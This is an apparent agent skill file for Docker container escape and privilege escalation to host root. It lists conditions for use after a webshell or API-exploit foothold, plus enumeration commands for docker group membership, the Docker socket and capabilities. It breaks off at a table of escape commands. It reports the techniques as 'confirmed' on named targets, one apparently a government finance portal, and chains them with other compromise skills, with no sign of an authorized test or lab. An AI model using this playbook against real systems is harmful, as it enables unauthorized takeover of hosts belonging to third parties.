docker-privesc

1# Docker Privilege Escalation Skill
2 
3Docker container escape and privilege escalation — Docker socket abuse, volume mount host takeover, docker group root-equivalence, and prior-privilege-escalation detection. Docker group membership = instant root on the host via 5 distinct techniques. Confirmed on fitness-chain (Docker containers extracted, 12 image layers, privileged mode) and gov-finance-portal (Dockerfile + docker-compose.prod.yml exposed in GitLab).
4 
5## When to Use
6 
7- You have shell access to a Docker container (via webshell, SSH, or API exploit).
8- `id` shows you're in the `docker` group or have access to `/var/run/docker.sock`.
9- `docker ps` or `docker info` works from within the container.
10- After `api-noauth-hunt` or `wordpress-full-compromise` achieves RCE in a container.
11- Docker socket is mounted at `/var/run/docker.sock` (check: `ls -la /var/run/docker.sock`).
12 
13## Prerequisites
14 
15- Shell access inside a Docker container (any user).
16- Docker socket mounted OR docker group membership OR `--privileged` flag.
17- Target: escalate to host root.
18 
19## How to Run
20 
21```bash
22# Check docker group membership
23id | grep docker && echo "[+] Docker group — instant root possible"
24 
25# Check docker socket
26ls -la /var/run/docker.sock 2>/dev/null && echo "[+] Docker socket mounted — host escape"
27 
28# Check privileged mode
29cat /proc/self/status | grep -i "seccomp\|cap" && echo "[*] Check capabilities"
30```
31 
32## Quick Reference
33 
34| Condition | Escape Method | Command |
35…